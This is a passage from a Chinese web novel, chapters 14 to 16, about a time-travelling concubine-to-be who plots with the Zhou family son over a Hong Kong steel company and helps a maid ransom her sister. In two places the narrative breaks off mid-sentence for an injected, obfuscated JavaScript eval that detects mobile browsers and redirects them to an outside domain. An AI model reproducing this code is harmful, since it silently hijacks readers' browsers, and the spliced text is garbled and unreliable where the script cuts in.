“如果你胆子够大,与其在这里调戏我,不如回家同我父亲说。”他撇开脸站起身。 她竟不知这人会因这事害羞,明明日后是连更过分的都做了。 程筝心中计划两条道路同时行进,如果她能提前引出幕后之人,便能提前回去。 如果这条捷径不通,恐怕还是只有按着原来的发展方向。 只不过豁出去的有点多,恋爱都没谈过,更休提偷情这档子伤天害理的事。 好在这副身体并不是她的—— 这“程筝”虽与现代的自己长相一模一样,可掌心缺了一枚痣。 程筝自出生以来,左手无名指指根便有一枚黑痣,可这个“程筝”掌心干干净净。 程筝笑着笑着就淡下眼去,捏合左手五指。 她终归不是“她”。 14.第 14 章 到香港第三日,周怀鹤和秦三小姐一早就不见,只留下王发招呼她。程筝出了门,仍旧是乘公共汽车。 在香港聚着各种肤色国界的人,一眼望去就能辨别地域。 广东人大多带着中国南方地区体格瘦小的特性,活像烧干的火柴棍,但用更为瘦小的马来人一衬便显得壮实许多;上海人珠圆玉润皮肤粉白,衣着打扮都追着三零年巴黎的时尚浪潮;当然还有英国军官,人高马大,汗毛旺盛。 程筝注意到汽车上坐了不少白人,打量几眼后又收了视线。 天后庙会期间,一连五天庙前广场都会架起舞台演神功戏,以及一系列舞龙舞狮的活动,香港人专信妈祖,庙里香火极旺,建筑是传统的岭南风格,倒比那些成群的西式洋楼多了不少市井气。 王发只陪她走到门口,随后便道:“周太太先前托我带些香港的点心回去,我顺路去买一些,六姨太先自己在庙里逛逛罢。” 程筝点头,心道这甚么祈福也不过是做戏用,周公馆的大烟炉子里有她扔的符,周峥的身体怎么也该好一些。 庙会里净是国人,少有白人,她确是去拜了一拜,插了几炷香,心中揣着的却只有姥姥以及自己个儿,才不为别个。 跪在蒲团垫子上,程筝抛掉两个圣杯,内心默念 :她此行是否顺利。 圣杯在漆盘里翻滚几圈,她眼皮一颤。 两个反面,为阴茭,表意为“否”。 她跪定一会儿,静静摆正圣杯,起身离去了。 刚祈完福出来,瞧见小门外石子小道上站着位圆形眼镜碎掉一边镜片的年轻人,头发梳得油光锃亮,领带却已东倒西歪,正拉着一位耀武扬威的金发洋人找寺庙里的师父主持公道,满嘴广东话,程筝听得费劲。 “师父,你将才可瞧见了,是他踩碎我的眼镜,还用洋话骂人!” 师父略带歉意:“我不大会英文。” 正闹着,边上的白人满眼睥睨,用英文骂他是可笑的猴子。 一高一矮两个男人拉扯起来,争论间洋人一拳打碎他另一边的镜片,渣滓扎进他皮肤里,年青人捂着脸躲避到一边,那洋人讥笑一声,理理西服便阔步离去,毫无歉意。 年轻华人牙齿几近咬碎:“英国佬越发恣意妄为了!竟忘了这究竟是谁的地盘!” “已经是英国人的地盘了。”师父轻声叹道,见他情况不大妙,询问道,“先寻辆车去医院罢!当心眼睛!” 可庙里的人总不能不打招呼擅离职守,还有许多求签解签,师父望见她,招招手:“这位小姐可否搭把手!” 她并听不懂那人口中说着什么话,只看见他招手叫自己过去,又听见那师父嘴里叽叽咕咕说出一大堆字来,她一个也没听进耳朵里,抱歉地说:“我不是香港人。” 身旁的男人说起国语来:“你是北方人到香港来的么?我这样讲你能听懂么?” 程筝点头说能。 “烦请小姐替我拦一辆黄包车,领我去趟医院罢,我这眼睛将要废了!” 他捂住的左眼正向下坠血滴子,另一边睁开的右眼也因为失去镜片瞧不清路,这事确实紧急。 程筝慢走几步:“我领你去门口。” “英国人为何打你?”她问了一句,男人说这群英国佬欺负人并不需要缘由,觉得他是可笑的猴子,就能挥拳直上,这里的警察署总是不敢得罪他们的。 说着,他有如国内那批知识青年,颤声骂道:“现今大家骨子里奴气忒重!见了白色皮肤的人,膝盖骨全是软的!” “先生好志气,不知哪里人?”程筝徐声。 “家住北平,由于学校迁来香港的缘故,我被调聘过来,虽有意回内地振兴家国,却苦于内地没有大学愿意为我发聘书,满身才气无处可使,这是损失!” 程筝眉头一抖,心道还不见有人这么夸自己的,这人倒是顶顶自信。 将要走到门口了,她低低喃了一句:“你是大学教师啊。” 说罢,想起什么来,眼睛一亮,转身向他道:“先生给我留个联系方式如何?我不久就要回天津,可以帮你问问。” “当真!”他面上一喜,连眼睛上的伤都顾不得了,携着满手的血从荷包里掏出随身的纸笔,上头似乎记满了东西,翻到最后几页才有几张空白。 “我姓陈,这是我在香港的住址,我家没有电话机,直接邮信件过来!”一面咬着钢笔盖子含糊说,陈先生一面眯着眼歪歪扭扭写下字来。 可程筝却道:“陈先生,我是有条件的。” “小姐任意讲便是!” 程筝道:“我家有几位乡下出生的仆佣,平日最是喜学,爱听三国水浒,论语的之乎者也晓得几句,如若我替先生要来一纸聘书,希望先生能额外教他们念书考学。” “小姐大义,只要有人乐意求教,我自然竭力而为!”陈先生盖下钢笔盖,递一张沾了血的纸来。 程筝将纸张折了几折塞进包里,招招手叫来一位拉车的脚夫,一撇眼见王发已经买好点心在门口候着她。 “陈先生早些去医院,有消息我再联系您。” “敬候佳音!” 目送人离开后,程筝寻去王发那处,说自己已经替周老爷祈完福。 王发好奇:“那人怎地满脸是血?” 程筝说:“被英国人打的。” 他长声叹了一口气,默了片刻,“回去罢。” 来香港这几日,秦三小姐忙活五姨太的后事,抽不出空来烧饭,王发日日都带捞面回来,白的细面条,里头一点肉沫和青菜,程筝的嘴早就淡得不行了,此时便嘴馋地问道:“就只买了周太太要的部分么?” 王发道:“不,也多捎了些回去当零嘴。” “有什么品类?” “杨福记的招牌,除了蚕豆绿糕,都拣了一些回去。” “那为何将蚕豆绿糕挑去?”程筝很是失望。 “鹤少爷碰不得蚕豆,一丁点儿也不行,就是周公馆里都尽量不在府里吃。” “过敏症么?” “遗传病,五姨太先前就因为误食蚕豆,病了许久,去医院了人家说是甚么……基因病,食用多了细胞溶解,我听不大懂。” 程筝好一会儿没吱声。 王发虽是个事事都爱报给周怀鹤听的,但这嘴是真不严。 这种病她倒还真有些印象,前几年她还负责教辅出版的时候,审过生物习题集,里头有道遗传题,遗传性溶血性疾病,俗称蚕豆病。 她当时觉得这名字好玩,还专门打电话给她当时任云南大学生命科学院教师的朋友求证,黎棠说确实就有这种稀罕病,毕竟天下之大,无奇不有。 没成想让她在这个节点撞上了。 “六姨太?”王发已经不知叫了她多少遍,程筝才堪堪回神。 “汽车到了。”他提醒。 “哦,好。” 她同王发一齐去天后庙走了个来回,回到家发现周怀鹤和秦三小姐还未回来,一直到晚饭才姗姗来迟,二人面上皆挂着悒郁之色。 三小姐摁开大堂里所有的电灯,重重陷进沙发椅里,左手小指残缺,支着脑袋,周怀鹤也异常严肃,拎了开水瓶倒水喝。 王发见状,小心翼翼向三小姐问:“怎地一个二个都臭着脸回来,五姨太下葬的事出了纰漏?” 三小姐挥一挥手:“妹妹已经安心下葬了,今日我跟怀鹤安置了果盘鲜花,一切都处理妥帖了。” “那是因何?” 三小姐不答,周怀鹤润了嗓子,身上的灰色绸缎袍子还裹着香港夜里细密的凉气,平声道:“是公司的事。” 王发跟程筝还都坐在大堂的椅子上,三小姐觑了周怀鹤一眼,复而确认:“你当真要跟他们说?” 不怪三小姐怪异,王发跟周怀鹤打小一齐长大,本就是送去天津叫周怀鹤有人可使的,这事告诉他也就罢了。 可那个周峥还未进门的六姨太,又怎么能可信? 她正这么想着,目光迁移到侧边的程筝身上。 不止她,在程筝的视线看来,面前三个人的目光都一齐落在了她身上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16214548|178680||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 程筝静默一会儿,微笑道:“你们自家人谈事,若觉得我碍眼,我出去待着便是,不必拿我当黄鼠狼似的怀疑。” 说着,便欲起身,没成想被周怀鹤出声截住:“待着罢。” “怀鹤,你自己想好!”三小姐再次提醒。 周怀鹤垂眸吹一口热水上飘然的雾气,轻轻地道:“叫六姨太自己做决择。” 程筝望了几人一望,复坐下,问:“什么抉择?” “你可以留下跟我们一齐说事。实话讲,我回来路上细细斟酌过,我将要做的事确实需要六姨太搭手。”周怀鹤直视着她,目光炽炽,又安然,“你若有意跟我站在同一战线上,我便尽数告诉你。” 程筝想都不想:“我与鹤少爷合作多次,说个不得体的话,周公馆里我与鹤少爷接触最多,自然是为鹤少爷好的。” 周怀鹤作古怪相,眉头轻拧起来,飘了个不信任的眼风:“你全身上下最坏的就是一张嘴,怎么说都由你,日后若我两个哥哥向你说几句好话,六姨太怕不是墙头草两边倒,如今这番捶胸顿足的话也能向他们说了去。” “你两位哥哥都没有你标致,我哪儿会那么轻易就被勾了去?鹤少爷信我,我是绝不叛变的。”程筝话说得自然,极真诚似的。 可这话一丢出来,平地惊雷一般,王发跟三小姐都惊乍起来: “这是什么话!” 哪有马上要嫁给老子的姨太太,对家里小辈说这样撩浪话的!没羞没臊! 程筝也就是一时嘴快,前几次冲周怀鹤这么说他都不动声色的,她还以为大家都只当她是讲玩笑话,没成想这话竟这样雷人么? “嗳,我只是单纯夸赞鹤少爷顶好看。” 甜言蜜语听得太多,周怀鹤已经不会怪异了,甚至极为平静,见她慌不择路向二人辩解,兀自抬手用茶盏遮住唇角。 心里腹诽,这下你是吃了油嘴滑舌的亏,谁叫你成日满嘴跑火车,话里不带一点儿真。 “言而总之。”程筝精疲力竭、口干舌燥,“如果我定要在周家站一队,自然是站鹤少爷队的。我不过就是个农户女,机缘巧合才进了周家,想来如果我日后真叛了变,鹤少爷捏死我也像捏死一只蚂蚁一样简单,还有什么忧心?” 秦三小姐重重叹一口气,周怀鹤询问她意见:“姨妈觉得如何?” “你的钱,你便自己决定,赌胜赌败,也由你自己担责。” 程筝等了片刻,周怀鹤便放下茶杯,道:“说来这事也与六姨太有不少关联。” “交易所挣的钱,我原意是拿给母亲治病用,可她已经去世了。”周怀鹤垂下眼睛,声音极慢,“这笔钱,我预备在香港注册一家公司。周怀良从军,再不济也可以依靠他母家宁波杜氏;方秋水虽非周峥所出,可周峥对他极为疼爱,周家大部分商号公司都交给方秋水打理,只有我毫无可依,很难虎口夺食。” “所以你打算避开天津,先在香港发展?”程筝问。 “我若在天津,周峥眼皮子底下做事,便什么都瞒不住了。”周怀鹤说,“起步阶段需要藏锋,叫周家以为我毫无威胁,因此这公司不可挂在我名下。王发是周公馆的佣人,账户在账房都能看清,也不好将他牵涉进来,可这公司最少需要一位董事、一位股东才可获批。” 程筝看着他,联系上下文,大抵猜出来他的打算。 “姨妈作董事,六姨太作股东,公司便成立了,六姨太意下如何?” 能意下如何?这钱和公司是白给她的,简直是意外之喜。程筝内心兀自琢磨着,随后笑嘻嘻说道: “自然是毫无意见。既然我已经是鹤少爷的人了,以后大家就管我叫程小姐罢,六姨太听着古怪。” 这话说得暧昧,但三小姐跟王发此时却没读懂这点暧昧。 周怀鹤又抬眼瞧了瞧她,心说难道是自己听撩浪话听得耳朵生茧,顺理成章会错意了? 六姨太——他低敛着眼,指节蹭着磋磨一下,似是将这几个字也搓在指尖琢磨。 他辨不清她的存心。 15.第 15 章 隔日,程筝同秦三小姐一同出门去办.证书,柏油山道两边的林子笼起一团绿色的雾云,二人在其间穿梭而过。 程筝晕头转向打着呵欠,只顾跟秦三小姐一道走,对方抛来几句闲话她只漫应一声。 也不怪她,昨夜几人洽谈到天边挂了星子才盖被。说定了办公司,可办什么样的公司委实难以决定:丝茧品难办,因为日本丝有出口免税政策,中国却要附加各种出产税、销场税、海关税……价格和质量都难以争过;连火柴这类小物什,国人都偏爱用瑞典制造的。 现今市场被形形色色舶来品充塞,休提零件、布料、医药等生活用品,就连楼房都时兴西式遗风,国产货委实难做,如果不内销,打开海外市场只怕是更难。 如果要谈唯一的优势,那便是周家的门路他们私底下都可以借来用。 周家名下的厂子遍布各地,内销和出口都做得不错,这还得益于周五爷——也就是周峥,早年在轮船局做事时谄媚了不少洋人,他巴结过六国租界的话事人,开了条海外生意的口,天津海河码头那处属周家的货船最多;周五爷在华界的生意又借了太太宁波家族那边的势力,洋货市场也开得风风火火,天津除了最赫赫有名的劝业场,就属他的天富商场客流量最多。 但这生意也并没有那样好做,周峥之前亏过一次钱,正是因为那次生意失败,他与年少相伴的青梅竹马秋茹分开,转去娶了更有钱有势的杜流芳,不久后东山再起,又念及他那位青梅。即便那时秋茹已然要与方家老三谈婚论嫁,他也发了魔似的,处处打压,将方氏一家老小迫得躲回乡下,周峥于是顺心如意将人夺来收作姨太太。 后来的事就如同周太太先前提过的,秋茹在周家诞下方秋水,不多时便去了,周峥对二姨太所有的怜悯都流转到那个并非他所出的孩子方秋水身上。 这边的程筝跟同秦三小姐去办注册的事,另一边周怀鹤和王发最后去一趟五姨太下葬的墓园。 连下两日蒙蒙细雨后,香港仍阴,要入秋天。电车驶过维多利亚公园东岸,周怀鹤怀一束带朝露的马蹄莲,替下了昨日那束。 此行只是最后来看一眼,毕竟明日回天津后怕是很长一段时间都找不到由头再来香港了,周怀鹤全程默然,王发在外头候了不久就等来他。 他无法说定鹤少爷身上确有那种湿润的悲哀,也无法说定他不悲哀,王发只觉得鹤少爷就跟这香港的天儿似的,翳云压着脑袋,灰色的,却无雨水落下。 从墓园门口出来后不久,周怀鹤交代:“回去后立即打电话给孙家大少,再去天外天定一张桌子,就说我请。” “怎地又请?上次你还嫌他不打招呼,将妹妹领过去为你说媒。”王发道。 “手头满打满算二百万,连厂子都难得办下来,思来虑去,钱款问题还是要向做金融公债生意的孙家请教。” 王发又问:“我们究竟办什么厂、什么公司?” 闻言,周怀鹤眨了一眨眼。 “……” “钢铁。”另一边,程筝拉扯一下秦三小姐的袖子,叫她用广东话同那办事员讲。 内地办厂可以给多方提供货源,香港这边自家公司可以额外再做钢铁制造品的经销。目前内地仅有四家钢铁厂,国内大多数钢铁都指望进口,没有原材料,政府鼓励各种机械制造也跟不上产量,青黄不接。 如果她没记错,两年后日本人来了,东北的矿产倒被开采了个干净,那时候钢铁制造业才发展起来。 比起去竞争轻工业的存量市场,不如入主下场商户少的,做增量市场的生意。 但下场的人少自然是有原因的,技术力、钱款等等等等,昨日程筝向周怀鹤这样说的时候,他轻飘飘便说钱款的问题他自己能够解决,那程筝便不管了,即使半路腰斩,亏的也不是她的钱。 填完信息从发证处出来以后,秦三小姐将单子折进手提包里,瞧了她一瞧,奇道:“你口齿倒还伶俐。” 程筝莞尔一笑:“我老家便住东北乡下,邻里之中时而有去山头锄地时意外挖出东西来的,便留了个心眼记下了,先前不知,后来到天津来长了见识,才晓得那是铁矿,昨日便提了一提。” “我总是觉着是你生错了人家。”秦三小姐领她候着电车,“你这聪慧劲儿,不说生在小姐人家,就是一户经营铺子的,都不会叫你沦落到给老人家当填房姨太太。” 阴冷的风直往人眼皮上刮,程筝静静答道:“各人有各人的命。” 秦三小姐颇赏识地看她一眼:“看得开也是好事。” 她轻轻地叹一声:“我妹妹就是看不清,下场也糟。” 第二日离开时,秦三小姐慢声叫她等一等,施施然寻去楼上,抱下一个精致的胡桃木妆奁来。 “我见你浑身上下都无一点儿金银细软佩戴着,行头太素。”她将妆奁的屉子拉开,“里头有一双鸡血梅花玉打制的耳环坠子,还有一块新的蜜丝佛陀的化妆品,之前别家太太赠给我的,我就赠给你了。” 未及她说话,三小姐便微嗔道:“你别不收下,待你回了天津,可别背了你昨日的话。我就怀鹤这一个外甥,要是你说谎,我也有你好看。” “那是自然。”程筝接过那胡桃木妆奁,交给王发收进皮箱里,三人便与秦三小姐告别。 三小姐倚在门框边望着他们,香港那间赁屋窄小的门框恰恰好框住她细瘦袅婷的身体,活像个刀鞘,再锋利的人也被这门框吃了进去。 秦菡伸一伸手,掌心落了几滴雨,看着眼前将要回到内地的人。雨珠子砸在他们身上又弹开,像周身盖了个钟罩,他们渐渐、慢慢,消失在香港柏油山道绿油油的雨雾里。 “我就再也看不见家那边的秋雨了……”她失魂说,雨珠挂在她的嘴唇上。 回程要比来时顺利许多,想来也没有那样多在船上械斗的伙计。 自从云霆号出事以后,各家轮船公司严上加严地把控起来,上船之前必将人当洋葱似的里外都拨开来。 芸芸挂了大堂的电话机,迈着碎步向麻将桌那处走去,俯身凑到周太太耳朵边上耳语:“香港那边来电话了,鹤少爷给五姨太办完丧事,已经在回程路上了。” 周太太摸牌的手一顿,向靠近后院堂屋的地方飞去一眼,那处正斜斜靠着个高个男人,穿灰黄色条纹西装,直筒的灰色西装裤,脚下踩的是一双才叫街上小儿擦过鞋油的英国绅士包头黑皮鞋,跟电灯泡似的亮,一点儿皱都瞧不见。 “他知道么?”周太太收回眼继续跟几位太太搓麻将,几双白嫩嫩涂着色彩的指甲在桌布上晃来晃去,个个手上嵌着多个金的、银的、玉的嘎子——老天津人称戒指为“嘎子”。 芸芸偏脑袋去望一眼,方秋水正跟厨房烧饭的老妈子相谈甚欢,倒很敏锐地调过眼捉她的视线,怪礼貌地笑,笑起来也是洋人那副所谓的绅士范,芸芸顶不喜,向周太太嘀咕:“我还没去说呢,这外人可会捉弄人心,刚回来就给后院每个人发衣服点心,那些没眼风的哪见过洋货,立马就喜笑颜开地倒戈了。” 周太太说:“不也送了你的份么?” 芸芸气恼:“我哪跟她们似的!我是一心一意向着太太的!” “好,好。幺鸡!”周太太扔出一张牌,目不斜视,“去同他说罢,总归是他表面上的弟弟,回来以后老爷定是要将人聚到一齐吃饭的,届时他们怎么个态度也不关我事,说到底只有怀良是我亲生的孩子。” “晓得了。”芸芸喏喏答,接着道,“太太,我下午有些事,请半日假。” 周太太古怪:“你近来成日请假出去,我还听那些老妈子说你到处求人拨钱给你,到底是做甚么事?” “老家的事……”芸芸低低地说。 周太太斜睨她一眼,警醒道:“你别是被坏男人勾去了魂,将自己弄得倾家荡产可没人救得了你!” 芸芸诧得几将跳脚:“我怎会那样没脑筋!” “自己须得心里有数。去找杨妈说罢,就说太太允了。” 桌上一位太太笑嘻嘻推了牌,剩余三 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16228923|178680||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 位掏了钱给她。 四个富太太皆是肥白如瓠,花花绿绿的嘎子在桌面上转着牌,像许多只咂舌的鹦鹉同时叽叽咕咕啼了起来,将周家搅得一片混沌,芸芸便走开了。 刚走到连着花园的后门那处,想叫秋水少爷让一让,不了前头浆洗衣服的老妈子突然指着她说:“对、对,就是芸芸的!” 她发愣,正纳罕,见她们不知甚么时候把她学文的簿子拿了出来,还拿给方秋水看。 方秋水捏着簿子中间那条缝,声口淡淡的,问她:“是谁教你写的英文?” 边上人打岔:“秋水少爷,这几个圆圈究竟甚么意思?” 方秋水不悦地折起眼皮瞧过去,面上虽仍带着薄薄笑意,却藏住几分尖锐的傲视,叫人不觉心中胆寒,立时噤了声,冻得缩脖子。 他长一双吊梢眼,嘴角也总是尖尖向上的,黑色头发长到颧骨,面相的确出挑,不过阴郁过头稍显刻薄,不叫人想要亲近,却又偏偏总是装作一派温和可亲的样子,这般出入叫人心中总是七上八下的。 “何妈妈,我明明是在问芸芸,我倒要去问问爸爸,是谁教的你在别人问话时打岔?” “别……少爷,我只是无心之失,让芸芸讲话罢!芸芸!”她求救似的将视线落在芸芸身上。 芸芸心中虽然是跟周太太同仇敌忾一致不喜这位秋水少爷的,可是老爷顶疼爱他,周家半条命脉都握在这外人手里,她不过一个府上丫头,再不喜也不好冲撞人,只能嗫嚅道:“是六姨太教给我的。” “六姨太?”方秋水指头一动,挑过一页,看着那密密麻麻的英文字母,“我竟不知家里来了个有文化的新人,英文字写得很是漂亮。” 何妈妈奇道:“六姨太是乡下人,哪里会写英文字。” “她顶聪明。”芸芸不免替程筝辩解起来,“这些她一看就会。” 方秋水又幽幽笑起来,合上本子还给她,说道:“看来等这位六姨太回来,我须得同她好好交流一下。” 他温和拍拍芸芸肩头,又笑道:“恰才见你和周太太一齐看我,是有事要与我说罢?” 芸芸总觉得在他跟前极难喘气,低头应声:“是鹤少爷的事,前些时候他因为五姨太的事跟六姨太一齐去香港,刚刚电话说快要回来了。” “是么。”方秋水移开手,若有所思,“兄弟会晤是好事,何必这样战战兢兢怕我知道。” 芸芸不应声,方秋水嫌无聊,信步走开了,她跟何妈妈对视一眼,双双松下一口气。 另一头,海河轮船上。 船还须半日光景抵达海河码头,王发平日鲜少乘船出海,这一溜烟就跑没影了,许是躲进船舱吃酒去了。 江上航行一日有余,阑干外碧水苍天,日头正高,泄进船板,但温度着实不高。程筝与周怀鹤同坐一张餐桌两边,她正昏昏欲睡着,膝上垂了条厚毛巾,上面印着船舶公司的名字。 周怀鹤单手拎起茶壶,睨她一眼:“别盹着了,快下船了。” 程筝支起些精神,动了两下胳膊,又静了。 船上房间窄小,味道也冲,加上颠簸晕船,现今脑袋还是昏沉的。 “上次的故事还没讲完。”他又道。 程筝问:“什么故事?” “你母亲给你塞糖糕的故事。”他说,“你将我的往事偷听了个干净,礼尚往来总得还给我一些。” 程筝靠在椅子上笑笑,眼皮垂坠下来:“骗你的……不是糖糕,是□□糖,葡萄味的……” “什么?”周怀鹤稍一蹙眉,没大听懂,可程筝已然歪煞着脑袋盹着了。 周怀鹤的目光由上到下,最终落于她鼻尖。 江面直射进来的阳光在她的脸颊上散开几缕,浮在睫毛上便像刺绣上的金线,一根一根,这人不讲话的时候倒显得沉静无害起来。 周怀鹤向后靠,甫一将视线挪往阑干外的江面,轻眯了眼,喃喃道: “奇怪的人。” “我总是不能够明白你的意思。” 16.第 16 章 夜里,天津城里亮起电灯,船靠了海河码头,三人提着皮箱回到周公馆,揿了门铃,叮铃铃铃一声,看守惊坐起来,给他们拉门。 公馆里此时万籁俱寂,杨妈闻见动静,披衣服起来,扶着门框问说需要不需要帮手,王发将轻飘飘的皮箱向上提一提。 “就只有这些东西。” 杨妈招呼几人上楼梯去,屈着手指揉太阳穴,唉声叹气:“你们前脚刚走,后脚香港就来了消息,只是那时已经追不上你们,五姨太的事真是——嗳呦。” 她长长地叹一口气。 周怀鹤正踩在半截扶梯上,略颔了颔首,答道:“无甚好悔的,母亲已经下葬了。” “周太太还叫我问问老爷,是不是找个日子一齐去五姨太坟上烧两柱香,毕竟也是一家人。” “便叫她们不去了,我母亲只会觉着恼人。” 得到如此答复,杨妈便不作声了,只是扯一下程筝的袖子,留了她一留,程筝会意,同她一道往廊子里站了站,等周怀鹤上楼后,她才向程筝道:“秋水少爷前不久回来了,他的屋子就在六姨太楼下,但他怪癖颇多,你平时也当心些,少弄声响出来。” 言罢,杨妈向她飞去眼波以作示意,随即掀开后门的帘子,躬身遁走了。 程筝向上睇去一眼,脑袋里溜过去几句话。 姥姥说,周家就是被这方秋水搅得天翻地覆,周峥半生打下的所有产业,也尽数落在了他手里,不可谓不叫人胆寒。 此人须得多多提防一些,能少接触就少接触,省得节外生枝。程筝心说。 不过隔日也不见这人影子,用早饭时周峥说差他去盯码头商船,有一批从俄罗斯运来的舶来品预计年关前要摆在天富商场里兜售。 程筝存了个心眼,觉察到周峥的精神头委实好上不少,前阵萎靡的时候还总留在家里睡觉,这几日出门勤快了些,务实地做起生意来。 用过早饭,她寻去后院,不见芸芸影子,只得叫住个一样扎单边油辫子的丫头,问她:“怎地不见芸芸?” 那人答:“芸芸告假几天,说家里有事。” 程筝心中疑窦丛生,想起去香港前这丫头拎着钱袋子鬼鬼祟祟,也不知究竟在张罗什么。 “那你知道不知道,附近的市场在哪里?有卖蔬菜瓜果的那种。” “六姨太问这个作甚?买菜这档事都是下人去做的。” “我想要买些——” 正说着,程筝及时止住话头,将“蚕豆”两个字尽数咽了回去,差点咬舌头。 不能够说,说出去便是不打自招,日后周怀鹤出事,她准被怀疑。 顿了顿,程筝谎称:“买些老家的瓜果,我总十分想念,但你们应该不识得。” “东南角那块的市场最密,每日早晨五时开市,晚了就都挑着扁担回去了,这个点儿,去了也是白跑一趟。” 程筝放她走,说道:“那我明日再去。” 后来还是白跑了一趟,蚕豆现今还在地里埋着,根本就没长出来,最早也要等冬天过去,春夏季节才有成货,程筝只得先放弃。 秋雨过后,天气骤然凉下来,周公馆花园里的黄金树浑身树叶遭秋风吹得金黄,像长了一院子黄灿灿的金条,这树的名字起得也足够生动。 杨妈忙着给公馆里的太太少爷们量制冬衣,说得早些去定,否则不剩什么好棉料。 当日下午,芸芸背着个靛蓝色布袋蔫头耷脑地回了公馆,被程筝捉住,将她拽到堂屋里。 “我可听人讲,你借了不少钱,拿去作甚?”程筝狐疑探询。 她原本猜测,芸芸许是因为念书的事,她没有进学校的门路,也没有识字的地基,倒也只能先请私塾先生。 可这事倒好办,她有香港那位陈先生的地址,周怀鹤尚且欠她两个人情,按道理讲这事于他而言不很难。 程筝想着,如果芸芸开口,她是能够搭一把手的。 但芸芸偏偏就是将话咽进肚里不讲,垂坠着脑袋犟声:“又不干你什么事……就当没听见罢!” “如果你要求合道理,不定我能帮你呢!” “我每月还有七元钱工钱,可六姨太连钱都领不到,荷包里怕是比我还干净,到哪里借钱给我?” 程筝撇撇嘴,心说这话讲得也太实在了,怪不得芸芸连后院老妈子的钱都借,就独独没问过她。 “你这样不信我,芸芸,我真被伤透了心。”程筝连声哀哀叹气,“我自然有法子弄钱给你,你只讲说拿去做什么用就是。” 这话又有几分信服力了,芸芸是信程筝很有几分脑筋的。 默了再摸,嘴巴张了又涨,芸芸的眼珠四处提溜,嘴唇抿成紫白色,再三犹豫后,低低地说:“我先前说漏嘴过一次,其实是……我有个大姊,早早被我父母卖进堂子里了,堂子就是……就是‘那样’的地方。” 芸芸觉得委实难讲,两瓣嘴巴像遭米糊封住似的分不开。 “她前阵子来找我,求我将她赎出去,我大姊自小对我顶好顶好,我不忍拒绝了她,可那老鸨张嘴就要两千元!我借不到,钱庄也不借给我,就只有七十三元五角……” 说着,她像是要哭。 两千元……就是买一栋小些的洋楼也不过两千元! 程筝嘴里念了下:“两千元,你没向太太问过?” 芸芸揩干眼泪,嗫嚅:“太太帮我许多,我不好再麻烦,觉着自己活像周公馆里趴着的蛀虫。况且,我需要四千元……” “怎地又变四千元?”程筝诧异。 “我大姊还想带一个小妹妹出来,那小妹妹才十四岁,家里遭土匪杀了,她被老鸨收走了,可她还不够及笄,怎地能留在那样的地方?委实可怜……” 程筝太阳穴处的筋猛颤两下。 拿不出四千元来,便休论可怜不可怜了。 十四岁,太小了些。就是芸芸生在这长在这的人都忍不得,程筝又如何能当作没听过。 “你别太急,我准有法子帮你,先等我消息罢。”程筝慰藉几句。 芸芸惊道:“你当真有法子?究竟哪里能弄来这么多钱?” 堂屋外,帘布垂下的影子静静罩住一只英式皮鞋尖。 方秋水正屈一条腿轻慢地抵靠在墙边,指尖无聊地搓捻外套衣摆,立起耳垂下眼听着。 眼前是排成菱形式样的木头地板,耳畔是她轻轻细细的话语,口气很是不小。 “嗳,我有我的法子,应该是能要来的,办成了我会找你再说。”程筝道。 听罢,芸芸不知是惊是喜,扑簌簌落下两滴珠子般的泪,坠在地上砸成两个实心圆。 “要、要是真成了,只要你不害太太,便是真嫁进来,我也只把你当周太太一样的主子喜欢,今后再不嫌你讨厌!” 程筝突觉好笑:“谁惜得你的喜欢了?” 芸芸揩净眼泪鼻涕,瞪着红眼睛瞧她,闷声:“你果真还是顶讨厌。” 程筝将她调个身,叫她去水池子里捧水洗洗脸,随后吁出口起,掀帘子出去时迎面撞上方秋水。 他们也算头一回正对面打照面,方秋水佯装刚从外头回来,仍着正装,皮鞋也没换,面上挂着半分玩味,笑道: “六姨太怎地从老妈子们待的地方出来?” 程筝抬抬眼,只觉被一道瘦长的影子给笼住了,她的玛丽鞋底下便是那黑影的肩。 “找芸芸说说话罢了。”她说。 “芸芸好快换了新主子。”方秋水浑然一副笑眯眯的模样,可那笑里带着若有若无的打探,瓷一般的,像是要裂出缝来,“我一直以为她只对周太太衷心。” “先前我刚回来,她们都说我爸爸要娶新太太,那时我还没有见过你,便听芸芸说你顶聪明,如今看来,她倒没说假话。” 事要对人,如果是一位世家小姐,会英文、能及时拿四千元钱,都不足为奇。 可这新太太是哪里来的底气?难不成他那没几日活头的“父亲”其实待这位新太太不错? 方秋水心中讥诮地笑一声,心说周峥真是人到晚年还当自己老当益壮。 可他面上自然不显,仍谦虚求问: “其中有什么秘诀么?我给这些仆人送了不少好东西也不见她们感谢我几分。” “秘诀么?”程筝重复一遍,边上的粗布帘子飘起来攀到她的手臂上,像弯钩勾住一截白生生的藕,被她猛地拍开,颇不耐烦似的。 “秘诀便是,真心换真心罢。” 她略一颔首,佯装困倦,不想与他过多交缠,抬手扶一扶额角:“嗳,我得睡一回午觉了,精神头忒差。” 倏然间,方秋水像是被“真心”二字魇住,裂了缝的嘴唇合拢、抿平,眼底发起空。 他给她让了路,无声哂笑竟然有人还将甚么将心比心奉若珍宝——上一个这样说的女人,已经早早死了,死前还指望那个姓方的懦夫来找她,她不知自己是个可怜的女人, 方秋水钉在原地,漠然抬眼往种了两排黄金树的后院里望过去,天边泛起昏黑,黄昏近乎凋谢了。 